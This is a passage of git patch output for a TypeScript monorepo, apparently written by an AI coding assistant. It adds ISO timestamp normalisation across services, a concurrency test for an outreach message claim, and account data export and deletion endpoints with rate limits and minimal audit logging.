// Strict ISO 8601 UTC: it round-trips through Date unchanged. + expect(new Date(iso as string).toISOString()).toBe(iso); + }); + + it.each(['', 'yesterday', '2026-10-27', '2026-13-45 99:99:99+00', 'prefix 2026-10-27 12:59:21+00'])( + 'leaves %j alone', + (input) => { + expect(toIsoTimestamp(input)).toBeUndefined(); + }, + ); +}); + +describe('normalizeTimestamps', () => { + it('converts *_at fields at any depth, in arrays and nested objects', () => { + const body = { + items: [{ application_id: 'a', created_at: '2026-10-27 12:59:21.123+00', job: { posted_at: '2026-10-01 00:00:00+00' } }], + next_cursor: null, + generated_at: '2026-10-27 13:00:00+00', + }; + expect(normalizeTimestamps(body)).toEqual({ + items: [{ application_id: 'a', created_at: '2026-10-27T12:59:21.123Z', job: { posted_at: '2026-10-01T00:00:00.000Z' } }], + next_cursor: null, + generated_at: '2026-10-27T13:00:00.000Z', + }); + }); + + it('never rewrites free text, even when it looks like a timestamp', () => { + const body = { description: '2026-10-27 12:59:21+00', note: '2026-10-27 12:59:21+00', title: 'x_at' }; + expect(normalizeTimestamps(body)).toBe(body); + }); + + it('does not touch non-timestamp *_at values and does not mutate its input', () => { + const body = { retry_at: 'later', created_at: '2026-10-27 12:59:21+00', count: 3 }; + const snapshot = structuredClone(body); + const result = normalizeTimestamps(body); + expect(result).toEqual({ retry_at: 'later', created_at: '2026-10-27T12:59:21.000Z', count: 3 }); + expect(body).toEqual(snapshot); + }); + + it('returns unchanged structures by reference', () => { + const body = { items: [{ created_at: '2026-10-27T12:59:21.123Z' }] }; + expect(normalizeTimestamps(body)).toBe(body); + }); + + it('passes primitives, nulls and Dates through', () => { + const when = new Date('2026-10-27T12:59:21.123Z'); + expect(normalizeTimestamps(null)).toBeNull(); + expect(normalizeTimestamps(3)).toBe(3); + expect(normalizeTimestamps({ created_at: when })).toEqual({ created_at: when }); + }); +}); + +describe('registerIsoTimestamps', () => { + it('normalises JSON responses and leaves non-JSON bodies alone', async () => { + const app = Fastify(); + registerIsoTimestamps(app); + // Mirrors services/admin: an async onSend hook that does not take the payload. + app.addHook('onSend', async (_request, reply) => { + reply.header('cache-control', 'no-store'); + }); + app.get('/json', async () => ({ created_at: '2026-10-27 12:59:21.123+00' })); + // The house style: an async handler that calls reply.send() and does NOT `return reply`. + app.get('/no-return', async (_request, reply) => { + reply.status(201).send({ created_at: '2026-10-27 12:59:21+00' }); + }); + app.get('/text', async (_request, reply) => reply.type('text/plain').send('created_at: 2026-10-27 12:59:21+00')); + + const json = await app.inject({ method: 'GET', url: '/json' }); + expect(json.json()).toEqual({ created_at: '2026-10-27T12:59:21.123Z' }); + const noReturn = await app.inject({ method: 'GET', url: '/no-return' }); + expect(noReturn.statusCode).toBe(201); + expect(noReturn.json()).toEqual({ created_at: '2026-10-27T12:59:21.000Z' }); + const text = await app.inject({ method: 'GET', url: '/text' }); + expect(text.body).toBe('created_at: 2026-10-27 12:59:21+00'); + await app.close(); + }); +}); diff --git a/scripts/smoke.d.mts b/scripts/smoke.d.mts new file mode 100644 index 0000000..6b5e9d3 --- /dev/null +++ b/scripts/smoke.d.mts @@ -0,0 +1,13 @@ +export interface AuthProbe { + service: string; + path: string; +} +export type Verdict = { result: 'pass' | 'warn' | 'fail'; note: string }; + +export const AUTH_PROBES: readonly AuthProbe[]; +export const DRAIN_SERVICES: readonly string[]; +export const WEB_PATHS: readonly string[]; + +export function serviceOrigin(service: string, env: Record): string | undefined; +export function classifyAuthProbe(response: { status: number; contentType?: string; body?: string }): Verdict; +export function classifyDrainProbe(response: { status: number; authenticated: boolean }): Verdict; diff --git a/services/admin/src/app.ts b/services/admin/src/app.ts index 5bb50cc..f096f62 100644 --- a/services/admin/src/app.ts +++ b/services/admin/src/app.ts @@ -8,7 +8,12 @@ import { parseCorsOrigins } from '@atlas/config'; import type { Database } from '@atlas/db'; import type { ErrorCode } from '@atlas/types'; import { isAppError, newUuid, toAppError, type Logger } from '@atlas/utils'; -import { createMetricsRegistry, metricsRoute, registerHttpMetrics } from '@atlas/observability'; +import { + createMetricsRegistry, + metricsRoute, + registerHttpMetrics, + registerIsoTimestamps, +} from '@atlas/observability'; import type { AdminServiceEnv } from './env.js'; import type { ServiceLimits } from './limits.js'; import { exportStudentsRoute } from './http/routes/export-students.js'; @@ -87,6 +92,8 @@ export function buildApp(deps: AppDeps): FastifyInstance { const metrics = createMetricsRegistry('admin-service'); registerHttpMetrics(app, metrics); + // Postgres-style timestamps ('2026-10-27 12:59:21+00') become strict ISO 8601, which Safari can parse. + registerIsoTimestamps(app); // Everything under /v1/admin is student personal data: never cacheable by a // browser, proxy or CDN. diff --git a/services/analytics/src/app.ts b/services/analytics/src/app.ts index 6e3a428..96aa4aa 100644 --- a/services/analytics/src/app.ts +++ b/services/analytics/src/app.ts @@ -13,6 +13,7 @@ import { createMetricsRegistry, metricsRoute, registerHttpMetrics, + registerIsoTimestamps, registerRateLimitedRoutes, } from '@atlas/observability'; import type { AnalyticsServiceEnv } from './env.js'; @@ -51,6 +52,8 @@ export function buildApp(deps: AppDeps): FastifyInstance { const metrics = createMetricsRegistry('analytics-service'); registerHttpMetrics(app, metrics); + // Postgres-style timestamps ('2026-10-27 12:59:21+00') become strict ISO 8601, which Safari can parse. + registerIsoTimestamps(app); app.setErrorHandler((error: FastifyError | ZodError, request, reply) => { if (error instanceof ZodError) { diff --git a/services/applications/src/app.ts b/services/applications/src/app.ts index 4b8e1ce..6ffa1d8 100644 --- a/services/applications/src/app.ts +++ b/services/applications/src/app.ts @@ -13,6 +13,7 @@ import { createMetricsRegistry, metricsRoute, registerHttpMetrics, + registerIsoTimestamps, registerRateLimitedRoutes, } from '@atlas/observability'; import type { ApplicationsServiceEnv } from './env.js'; @@ -62,6 +63,8 @@ export function buildApp(deps: AppDeps): FastifyInstance { const metrics = createMetricsRegistry('applications-service'); registerHttpMetrics(app, metrics); + // Postgres-style timestamps ('2026-10-27 12:59:21+00') become strict ISO 8601, which Safari can parse. + registerIsoTimestamps(app); app.setErrorHandler((error: FastifyError | ZodError, request, reply) => { if (error instanceof ZodError) { diff --git a/services/learning/src/app.ts b/services/learning/src/app.ts index da5cf86..19782ea 100644 --- a/services/learning/src/app.ts +++ b/services/learning/src/app.ts @@ -13,6 +13,7 @@ import { createMetricsRegistry, metricsRoute, registerHttpMetrics, + registerIsoTimestamps, registerRateLimitedRoutes, } from '@atlas/observability'; import type { LearningServiceEnv } from './env.js'; @@ -51,6 +52,8 @@ export function buildApp(deps: AppDeps): FastifyInstance { const metrics = createMetricsRegistry('learning-service'); registerHttpMetrics(app, metrics); + // Postgres-style timestamps ('2026-10-27 12:59:21+00') become strict ISO 8601, which Safari can parse. + registerIsoTimestamps(app); app.setErrorHandler((error: FastifyError | ZodError, request, reply) => { if (error instanceof ZodError) { diff --git a/services/matching/src/app.ts b/services/matching/src/app.ts index ae6a251..d68fe0d 100644 --- a/services/matching/src/app.ts +++ b/services/matching/src/app.ts @@ -12,6 +12,7 @@ import { createMetricsRegistry, metricsRoute, registerHttpMetrics, + registerIsoTimestamps, registerRateLimitedRoutes, } from '@atlas/observability'; import type { MatchingServiceEnv } from './env.js'; @@ -48,6 +49,8 @@ export function buildApp(deps: AppDeps): FastifyInstance { const metrics = createMetricsRegistry('matching-service'); registerHttpMetrics(app, metrics); + // Postgres-style timestamps ('2026-10-27 12:59:21+00') become strict ISO 8601, which Safari can parse. + registerIsoTimestamps(app); app.setErrorHandler((error: FastifyError | ZodError, request, reply) => { if (error instanceof ZodError) { diff --git a/services/profile/src/app.ts b/services/profile/src/app.ts index 2fbd96c..179f2e2 100644 --- a/services/profile/src/app.ts +++ b/services/profile/src/app.ts @@ -15,6 +15,7 @@ import { createMetricsRegistry, metricsRoute, registerHttpMetrics, + registerIsoTimestamps, registerRateLimitedRoutes, } from '@atlas/observability'; import type { ProfileServiceEnv } from './env.js'; @@ -59,6 +60,8 @@ export function buildApp(deps: AppDeps): FastifyInstance { const metrics = createMetricsRegistry('profile-service'); registerHttpMetrics(app, metrics); + // Postgres-style timestamps ('2026-10-27 12:59:21+00') become strict ISO 8601, which Safari can parse. + registerIsoTimestamps(app); app.setErrorHandler((error: FastifyError | ZodError, request, reply) => { if (error instanceof ZodError) { diff --git a/services/referrals/src/app.ts b/services/referrals/src/app.ts index 7d2ac08..4183285 100644 --- a/services/referrals/src/app.ts +++ b/services/referrals/src/app.ts @@ -13,6 +13,7 @@ import { createMetricsRegistry, metricsRoute, registerHttpMetrics, + registerIsoTimestamps, registerRateLimitedRoutes, } from '@atlas/observability'; import type { ReferralsServiceEnv } from './env.js'; @@ -53,6 +54,8 @@ export function buildApp(deps: AppDeps): FastifyInstance { const metrics = createMetricsRegistry('referrals-service'); registerHttpMetrics(app, metrics); + // Postgres-style timestamps ('2026-10-27 12:59:21+00') become strict ISO 8601, which Safari can parse. + registerIsoTimestamps(app); app.setErrorHandler((error: FastifyError | ZodError, request, reply) => { if (error instanceof ZodError) { From 4a0ca6812980cca78a1046b84103a37dd1decb01 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:37:02 +0000 Subject: [PATCH 59/91] test(outreach): pin the claim itself under simultaneous callers The HTTP-level concurrency test only races as hard as the requests line up; a read-then-write claim passed it in one full-suite run. Calling the claim directly 20 times at once catches that version every time. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- services/outreach/test/outreach-flow.test.ts | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/services/outreach/test/outreach-flow.test.ts b/services/outreach/test/outreach-flow.test.ts index f82edfa..03210f7 100644 --- a/services/outreach/test/outreach-flow.test.ts +++ b/services/outreach/test/outreach-flow.test.ts @@ -10,6 +10,7 @@ import { createSilentLogger } from '@atlas/utils'; import { buildApp } from '../src/app.js'; import { loadOutreachServiceEnv } from '../src/env.js'; import { createTransport } from '../src/lib/transport.js'; +import { claimAsSentByOwner } from '../src/repo/messages.js'; import { stubJwksAndCreateSigner, SUPABASE_URL } from './support.js'; // DB-backed tests self-skip when ATLAS_TEST_DATABASE_URL is unset (see .env.example). @@ -392,6 +393,17 @@ describe.skipIf(!testDatabaseUrl)('outreach-service HTTP flow', () => { expect((await row(id)).status).toBe('sent'); }); + // The HTTP test above only races as hard as the requests happen to line up; this one calls the + // claim itself, all at once, so a read-then-write version cannot slip through by timing. + it('hands the claim itself to exactly one of many simultaneous callers', async () => { + const id = await newDraft(); + + const results = await Promise.all(Array.from({ length: 20 }, () => claimAsSentByOwner(dbHandle.db, id, userId))); + + expect(results.filter((claimed) => claimed !== null)).toHaveLength(1); + expect((await row(id)).status).toBe('sent'); + }); + it.each(['failed', 'bounced', 'delivered', 'replied'])( 'refuses a %s message with 409 and leaves it as it was', async (status) => { From 76b5546420654c2d2238326c9a4bac1eadb2058a Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:37:18 +0000 Subject: [PATCH 60/91] feat(auth): account data export and deletion endpoints GET /v1/auth/me/export returns everything held about the caller as a size-bounded JSON download (credentials, storage keys, embeddings and other people's data excluded; any cut is listed in the file). DELETE /v1/auth/me (body { confirm: "DELETE" }) hard-deletes the caller in one transaction: explicit deletes for the rows no foreign key cascades (analytics events, outbox events, tasks, the user's own audit entries, organizations the user was the last member of), then delete from auth.users, whose cascade removes the rest. Refuses with 409 when the user is the only owner of an organization with other members, or still has a connected account. Resume files are removed through the StorageDriver after the commit. Both routes have their own, smaller rate-limit budgets; only the user id is audit-logged. Adds the @atlas/storage workspace dependency to services/auth (lockfile: one importer entry). Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- pnpm-lock.yaml | 3 + services/auth/package.json | 1 + services/auth/src/app.ts | 21 + services/auth/src/env.ts | 24 +- .../auth/src/http/routes/delete-account.ts | 59 +++ .../auth/src/http/routes/export-account.ts | 50 +++ services/auth/src/index.ts | 8 +- services/auth/src/lib/export-budget.ts | 161 ++++++++ services/auth/src/lib/storage-cleanup.ts | 57 +++ services/auth/src/lib/timestamps.ts | 16 + services/auth/src/repo/audit.ts | 45 ++ services/auth/src/repo/delete-account.ts | 237 +++++++++++ services/auth/src/repo/export.ts | 384 ++++++++++++++++++ services/auth/src/repo/user-references.ts | 27 ++ services/auth/test/ratelimit.test.ts | 5 + 15 files changed, 1096 insertions(+), 2 deletions(-) create mode 100644 services/auth/src/http/routes/delete-account.ts create mode 100644 services/auth/src/http/routes/export-account.ts create mode 100644 services/auth/src/lib/export-budget.ts create mode 100644 services/auth/src/lib/storage-cleanup.ts create mode 100644 services/auth/src/lib/timestamps.ts create mode 100644 services/auth/src/repo/audit.ts create mode 100644 services/auth/src/repo/delete-account.ts create mode 100644 services/auth/src/repo/export.ts create mode 100644 services/auth/src/repo/user-references.ts diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 688f0d5..f7f2fca 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -456,6 +456,9 @@ importers: '@atlas/observability': specifier: workspace:* version: link:../../packages/observability + '@atlas/storage': + specifier: workspace:* + version: link:../../packages/storage '@atlas/types': specifier: workspace:* version: link:../../packages/types diff --git a/services/auth/package.json b/services/auth/package.json index 7431249..24ae126 100644 --- a/services/auth/package.json +++ b/services/auth/package.json @@ -12,6 +12,7 @@ "@atlas/config": "workspace:*", "@atlas/db": "workspace:*", "@atlas/observability": "workspace:*", + "@atlas/storage": "workspace:*", "@atlas/types": "workspace:*", "@atlas/utils": "workspace:*", "@fastify/cors": "^11.3.0", diff --git a/services/auth/src/app.ts b/services/auth/src/app.ts index 7763772..e2a3b93 100644 --- a/services/auth/src/app.ts +++ b/services/auth/src/app.ts @@ -6,6 +6,7 @@ import { ZodError } from 'zod'; import type { TokenVerifierConfig } from '@atlas/auth-kit'; import { parseCorsOrigins } from '@atlas/config'; import type { Database } from '@atlas/db'; +import type { StorageDriver } from '@atlas/storage'; import type { ErrorCode } from '@atlas/types'; import { isAppError, newUuid, toAppError, type Logger } from '@atlas/utils'; import { @@ -15,8 +16,11 @@ import { registerRateLimitedRoutes, } from '@atlas/observability'; import type { AuthServiceEnv } from './env.js'; +import { deleteAccountRoute } from './http/routes/delete-account.js'; +import { exportAccountRoute } from './http/routes/export-account.js'; import { healthRoute } from './http/routes/health.js'; import { meRoute } from './http/routes/me.js'; +import type { ExportLimits } from './lib/export-budget.js'; export interface AppDeps { db: Database; @@ -24,6 +28,10 @@ export interface AppDeps { env: AuthServiceEnv; logger: Logger; tokenVerifier: TokenVerifierConfig; + /** Where resume files live; account deletion removes the caller's. */ + storage: StorageDriver; + /** Size bounds for the account export. Tests shrink them; production uses the defaults. */ + exportLimits?: ExportLimits; } const STATUS_TO_CODE: Partial> = { @@ -105,9 +113,22 @@ export function buildApp(deps: AppDeps): FastifyInstance { { plugin: rateLimit, settings: { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW }, + // The two account-privacy routes get their own, smaller budgets (the delete one the smallest). + routeLimits: { + 'GET /v1/auth/me/export': { + max: deps.env.PRIVACY_EXPORT_RATE_LIMIT_MAX, + timeWindow: deps.env.PRIVACY_RATE_LIMIT_WINDOW, + }, + 'DELETE /v1/auth/me': { + max: deps.env.PRIVACY_DELETE_RATE_LIMIT_MAX, + timeWindow: deps.env.PRIVACY_RATE_LIMIT_WINDOW, + }, + }, }, (api) => { meRoute(api, deps); + exportAccountRoute(api, deps); + deleteAccountRoute(api, deps); }, ); diff --git a/services/auth/src/env.ts b/services/auth/src/env.ts index 7c12ce8..7ebee8a 100644 --- a/services/auth/src/env.ts +++ b/services/auth/src/env.ts @@ -1,4 +1,11 @@ -import { baseEnvSchema, databaseEnvSchema, httpEnvSchema, loadEnv, supabaseAuthEnvSchema } from '@atlas/config'; +import { + baseEnvSchema, + databaseEnvSchema, + httpEnvSchema, + loadEnv, + storageEnvSchema, + supabaseAuthEnvSchema, +} from '@atlas/config'; import { z } from 'zod'; export const authServiceEnvSchema = z.object({ @@ -6,6 +13,21 @@ export const authServiceEnvSchema = z.object({ ...databaseEnvSchema.shape, ...httpEnvSchema.shape, ...supabaseAuthEnvSchema.shape, + /** + * Account deletion removes a user's stored resume files, so this service + * needs the same storage settings as profile-service. On Vercel all services + * share one project's environment, so nothing extra is set there. + */ + ...storageEnvSchema.shape, + /** + * Budgets for the two account-privacy routes, per client address per window. + * They replace (do not add to) the general RATE_LIMIT_* budget on those + * routes, and the delete budget is deliberately the smaller one. Counters + * live in each function instance's memory, like the general limiter. + */ + PRIVACY_EXPORT_RATE_LIMIT_MAX: z.coerce.number().int().min(1).default(10), + PRIVACY_DELETE_RATE_LIMIT_MAX: z.coerce.number().int().min(1).default(3), + PRIVACY_RATE_LIMIT_WINDOW: z.string().min(1).default('1 hour'), }); export type AuthServiceEnv = z.infer; diff --git a/services/auth/src/http/routes/delete-account.ts b/services/auth/src/http/routes/delete-account.ts new file mode 100644 index 0000000..5aaeb40 --- /dev/null +++ b/services/auth/src/http/routes/delete-account.ts @@ -0,0 +1,59 @@ +import type { FastifyInstance } from 'fastify'; +import { getActor, requireAuth } from '@atlas/auth-kit'; +import { deleteAccountRequestSchema, type DeleteAccountResponse } from '@atlas/types'; +import type { AppDeps } from '../../app.js'; +import { removeStoredFiles } from '../../lib/storage-cleanup.js'; +import { ACCOUNT_AUDIT_ACTIONS } from '../../repo/audit.js'; +import { deleteAccountData } from '../../repo/delete-account.js'; + +/** + * DELETE /v1/auth/me with body `{ "confirm": "DELETE" }`: hard-deletes the + * caller's data and sign-in account (see repo/delete-account.ts for exactly what + * that covers and when it refuses with 409). + * + * Order matters: authenticate, validate the confirmation, then delete in one + * transaction, and only after it commits remove the stored resume files. The files + * come last on purpose: removing them first and then failing the transaction would + * leave an account whose rows point at files that are gone. A failure removing them + * is logged (user id, counts, error classes) and reported in the response, but does + * not undo the deletion. + * + * Repeating the request after it succeeded answers 200 again with zero counts + * rather than an error: the outcome the caller asked for is already true. + */ +export function deleteAccountRoute(app: FastifyInstance, deps: AppDeps): void { + app.delete('/v1/auth/me', { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { + const actor = getActor(request); + deleteAccountRequestSchema.parse(request.body); + + const outcome = await deleteAccountData(deps.db, actor.user_id, request.id); + const files = await removeStoredFiles(deps.storage, outcome.storageKeys); + + request.log.info( + { + audit: true, + action: ACCOUNT_AUDIT_ACTIONS.deleted, + user_id: actor.user_id, + organizations_deleted: outcome.organizationsDeleted, + resume_files_total: files.total, + resume_files_failed: files.failed, + }, + 'account deleted', + ); + if (files.failed > 0) { + // Everything needed to finish the job by hand: the files live under resumes//. + request.log.warn( + { user_id: actor.user_id, resume_files_failed: files.failed, failure_kinds: files.failureKinds }, + 'stored resume files could not be removed after account deletion', + ); + } + + const response: DeleteAccountResponse = { + status: 'deleted', + deleted_at: outcome.deletedAt.toISOString(), + organizations_deleted: outcome.organizationsDeleted, + resume_files: { total: files.total, failed: files.failed }, + }; + reply.status(200).header('cache-control', 'no-store').send(response); + }); +} diff --git a/services/auth/src/http/routes/export-account.ts b/services/auth/src/http/routes/export-account.ts new file mode 100644 index 0000000..ea2a00a --- /dev/null +++ b/services/auth/src/http/routes/export-account.ts @@ -0,0 +1,50 @@ +import type { FastifyInstance } from 'fastify'; +import { getActor, requireAuth } from '@atlas/auth-kit'; +import { AppError } from '@atlas/utils'; +import type { AppDeps } from '../../app.js'; +import { DEFAULT_EXPORT_LIMITS, fitExportToBudget } from '../../lib/export-budget.js'; +import { ACCOUNT_AUDIT_ACTIONS, recordAccountAudit } from '../../repo/audit.js'; +import { collectAccountExport } from '../../repo/export.js'; + +/** + * GET /v1/auth/me/export: everything Atlas holds about the caller, as one JSON + * file (`Content-Disposition: attachment`). It is always the caller's own data: + * the route takes no user id, only the one in the verified token. + * + * The body is size-bounded (see lib/export-budget.ts); a cut-short export says + * so in its own `truncated` list. Each export is recorded in the audit log with + * the user id only. + */ +export function exportAccountRoute(app: FastifyInstance, deps: AppDeps): void { + app.get('/v1/auth/me/export', { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { + const actor = getActor(request); + const limits = deps.exportLimits ?? DEFAULT_EXPORT_LIMITS; + + const document = await collectAccountExport(deps.db, actor.user_id, limits); + if (!document) { + throw new AppError('USER_NOT_FOUND', 'User no longer exists'); + } + const body = fitExportToBudget(document, limits.maxBytes); + + await recordAccountAudit(deps.db, { + action: ACCOUNT_AUDIT_ACTIONS.export, + userId: actor.user_id, + actorUserId: actor.user_id, + traceId: request.id, + metadata: { truncated_sections: document.truncated.length }, + }); + request.log.info( + { audit: true, action: ACCOUNT_AUDIT_ACTIONS.export, user_id: actor.user_id, truncated_sections: document.truncated.length }, + 'account data exported', + ); + + reply + .status(200) + .header('content-type', 'application/json; charset=utf-8') + .header('content-disposition', `attachment; filename="atlas-data-export-${document.generated_at.slice(0, 10)}.json"`) + // A personal data file: never to be kept by a shared cache or served again from one. + .header('cache-control', 'no-store') + .header('x-content-type-options', 'nosniff') + .send(body); + }); +} diff --git a/services/auth/src/index.ts b/services/auth/src/index.ts index 2558a9d..e31f8d3 100644 --- a/services/auth/src/index.ts +++ b/services/auth/src/index.ts @@ -1,5 +1,6 @@ import { createTokenVerifierConfig } from '@atlas/auth-kit'; import { createDatabase } from '@atlas/db'; +import { createStorage, storageOptionsFromEnv } from '@atlas/storage'; import { createLogger, createVercelHandler, withServerlessEnvDefaults } from '@atlas/utils'; import { buildApp } from './app.js'; import { loadAuthServiceEnv } from './env.js'; @@ -7,9 +8,14 @@ import { loadAuthServiceEnv } from './env.js'; const env = loadAuthServiceEnv(withServerlessEnvDefaults()); const logger = createLogger({ service: 'auth-service', level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); const { db, sql, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); +const { options: storageOptions, warning: storageWarning } = storageOptionsFromEnv(env, { + serverless: Boolean(process.env.VERCEL), +}); +if (storageWarning) logger.warn(storageWarning); +const storage = createStorage(storageOptions); const tokenVerifier = createTokenVerifierConfig(env); -export const app = buildApp({ db, sql, env, logger, tokenVerifier }); +export const app = buildApp({ db, sql, env, logger, tokenVerifier, storage }); // Vercel invokes this module as a serverless request handler — it never calls // app.listen(), so requests are dispatched onto the app directly. diff --git a/services/auth/src/lib/export-budget.ts b/services/auth/src/lib/export-budget.ts new file mode 100644 index 0000000..8570d74 --- /dev/null +++ b/services/auth/src/lib/export-budget.ts @@ -0,0 +1,161 @@ +import type { AccountExport, ExportTruncatableSection, ExportTruncation } from '@atlas/types'; + +/** + * How big one account export may get. + * + * Two independent bounds, both reported in the file itself (`truncated`) so a + * cut-short export never passes for a complete one: + * - a row cap per list section, applied in SQL, so one user cannot make the + * function read an unbounded table into memory; + * - a byte budget on the serialized document. Vercel Functions cannot send a + * response body larger than 4.5 MB, so the default leaves headroom below it. + */ +export interface ExportLimits { + maxBytes: number; + rows: Record; +} + +export const DEFAULT_EXPORT_LIMITS: ExportLimits = { + maxBytes: 3_500_000, + rows: { + organization_memberships: 200, + student_records: 200, + resumes: 50, + applications: 2_000, + application_events: 20_000, + messages: 2_000, + job_scores: 5_000, + activity_events: 5_000, + connected_accounts: 100, + }, +}; + +/** The one serializer for the download, so the budget measures exactly what is sent. */ +export function serializeExport(doc: AccountExport): string { + return JSON.stringify(doc, null, 2); +} + +export function exportByteLength(doc: AccountExport): number { + return Buffer.byteLength(serializeExport(doc), 'utf8'); +} + +interface TrimmableSection { + name: ExportTruncatableSection; + count(): number; + /** Keeps the first `n` rows. Lists are ordered most-relevant first, so the tail is what goes. */ + keep(n: number): void; + /** Serialized size of just this section, to pick the biggest one to cut. */ + weight(): number; +} + +function listSection( + name: ExportTruncatableSection, + read: () => T[], + write: (rows: T[]) => void, +): TrimmableSection { + return { + name, + count: () => read().length, + keep: (n) => write(read().slice(0, n)), + weight: () => Buffer.byteLength(JSON.stringify(read()), 'utf8'), + }; +} + +function trimmableSections(doc: AccountExport): TrimmableSection[] { + return [ + listSection( + 'resumes', + () => doc.resumes, + (rows) => { + doc.resumes = rows; + }, + ), + listSection( + 'applications', + () => doc.applications, + (rows) => { + doc.applications = rows; + }, + ), + { + // Events are nested under their application; the cap counts them all together. + name: 'application_events', + count: () => doc.applications.reduce((total, application) => total + application.events.length, 0), + keep: (n) => { + let remaining = n; + for (const application of doc.applications) { + application.events = application.events.slice(0, remaining); + remaining -= application.events.length; + } + }, + weight: () => + Buffer.byteLength(JSON.stringify(doc.applications.map((application) => application.events)), 'utf8'), + }, + listSection( + 'messages', + () => doc.messages, + (rows) => { + doc.messages = rows; + }, + ), + listSection( + 'job_scores', + () => doc.job_scores, + (rows) => { + doc.job_scores = rows; + }, + ), + listSection( + 'activity_events', + () => doc.activity_events, + (rows) => { + doc.activity_events = rows; + }, + ), + ]; +} + +/** + * Cuts `doc` down to `maxBytes`, in place, by repeatedly halving whichever list + * section is currently the heaviest. The account, memberships and the other small + * sections are never cut here. Every cut is recorded in `doc.truncated`. Returns + * the serialized document, which is within budget unless nothing trimmable is + * left (the unconditional parts alone are far below any sane budget). + */ +export function fitExportToBudget(doc: AccountExport, maxBytes: number): string { + const sections = trimmableSections(doc); + let serialized = serializeExport(doc); + + while (Buffer.byteLength(serialized, 'utf8') > maxBytes) { + const candidates = sections.filter((section) => section.count() > 0); + if (candidates.length === 0) break; + + let heaviest = candidates[0]!; + let heaviestWeight = heaviest.weight(); + for (const candidate of candidates.slice(1)) { + const weight = candidate.weight(); + if (weight > heaviestWeight) { + heaviest = candidate; + heaviestWeight = weight; + } + } + + heaviest.keep(Math.floor(heaviest.count() / 2)); + recordTruncation(doc.truncated, { section: heaviest.name, returned: heaviest.count(), reason: 'size_limit' }); + serialized = serializeExport(doc); + } + + return serialized; +} + +/** One entry per section: a later cut of the same section updates it instead of adding another. */ +export function recordTruncation(truncated: ExportTruncation[], entry: ExportTruncation): void { + const existing = truncated.find((item) => item.section === entry.section); + if (!existing) { + truncated.push(entry); + return; + } + existing.returned = entry.returned; + // A size cut after a row cap is the more informative reason: it is what the file last hit. + existing.reason = entry.reason === 'size_limit' ? 'size_limit' : existing.reason; +} diff --git a/services/auth/src/lib/storage-cleanup.ts b/services/auth/src/lib/storage-cleanup.ts new file mode 100644 index 0000000..838dc11 --- /dev/null +++ b/services/auth/src/lib/storage-cleanup.ts @@ -0,0 +1,57 @@ +import type { StorageDriver } from '@atlas/storage'; + +export interface StorageCleanupResult { + total: number; + failed: number; + /** Distinct error classes of the failures (a code or a name, never a message), for the log. */ + failureKinds: string[]; +} + +/** Per file. The storage driver has its own request timeout; this caps the whole step inside the function's time budget. */ +export const STORAGE_DELETE_TIMEOUT_MS = 10_000; + +function failureKind(cause: unknown): string { + if (typeof cause === 'object' && cause !== null) { + const code = (cause as { code?: unknown }).code; + if (typeof code === 'string') return code; + const name = (cause as { name?: unknown }).name; + if (typeof name === 'string') return name; + } + return 'unknown'; +} + +function withTimeout(work: Promise, timeoutMs: number): Promise { + let timer: NodeJS.Timeout | undefined; + const timeout = new Promise((_, reject) => { + timer = setTimeout(() => reject(Object.assign(new Error('timed out'), { code: 'TIMEOUT' })), timeoutMs); + }); + return Promise.race([work, timeout]).finally(() => clearTimeout(timer)); +} + +/** + * Removes stored files, best effort: this runs after the database transaction has + * committed, so a failure here must not turn a completed deletion into an error + * response. Returns counts instead; the caller logs them. + * + * Nothing about the files is reported beyond a count and error classes: not their + * keys, names or the driver's error messages, which can carry either. + */ +export async function removeStoredFiles( + storage: StorageDriver, + keys: readonly string[], + timeoutMs: number = STORAGE_DELETE_TIMEOUT_MS, +): Promise { + const outcomes = await Promise.allSettled( + keys.map((key) => withTimeout(Promise.resolve().then(() => storage.delete(key)), timeoutMs)), + ); + + const kinds = new Set(); + let failed = 0; + for (const outcome of outcomes) { + if (outcome.status === 'rejected') { + failed += 1; + kinds.add(failureKind(outcome.reason)); + } + } + return { total: keys.length, failed, failureKinds: [...kinds].sort() }; +} diff --git a/services/auth/src/lib/timestamps.ts b/services/auth/src/lib/timestamps.ts new file mode 100644 index 0000000..e3972b8 --- /dev/null +++ b/services/auth/src/lib/timestamps.ts @@ -0,0 +1,16 @@ +/** + * drizzle's postgres-js driver returns timestamptz as Postgres prints it + * (`2026-10-27 12:34:56.123456+00`). The export contract is ISO-8601 UTC + * (`isoTimestampSchema`), so normalize at the boundary. + */ +export function toIso(value: string): string { + const parsed = new Date(value); + if (Number.isNaN(parsed.getTime())) { + throw new Error('toIso: not a timestamp'); + } + return parsed.toISOString(); +} + +export function toIsoOrNull(value: string | null): string | null { + return value === null ? null : toIso(value); +} diff --git a/services/auth/src/repo/audit.ts b/services/auth/src/repo/audit.ts new file mode 100644 index 0000000..a6c385c --- /dev/null +++ b/services/auth/src/repo/audit.ts @@ -0,0 +1,45 @@ +import { schema, type Queryable } from '@atlas/db'; + +export const ACCOUNT_AUDIT_ACTIONS = { + export: 'account.export', + deleted: 'account.deleted', +} as const; + +export type AccountAuditAction = (typeof ACCOUNT_AUDIT_ACTIONS)[keyof typeof ACCOUNT_AUDIT_ACTIONS]; + +/** + * Counts only. Free-form strings are not allowed, so no name, email or file name + * can end up in the audit trail (docs/09 § Data protection). + */ +export type AccountAuditMetadata = Record; + +/** + * Appends one row to `audit_logs` about an account-level action. The only + * identifier recorded is the user id. + * + * For `account.export` the caller is the actor. For `account.deleted` there is no + * actor to point at (the account is gone by the time the row is written, and the + * column is a foreign key to it), so it is null and the user id is carried by + * `resource_id` alone. That one row is the only thing that outlives a deletion. + */ +export async function recordAccountAudit( + db: Queryable, + entry: { + action: AccountAuditAction; + 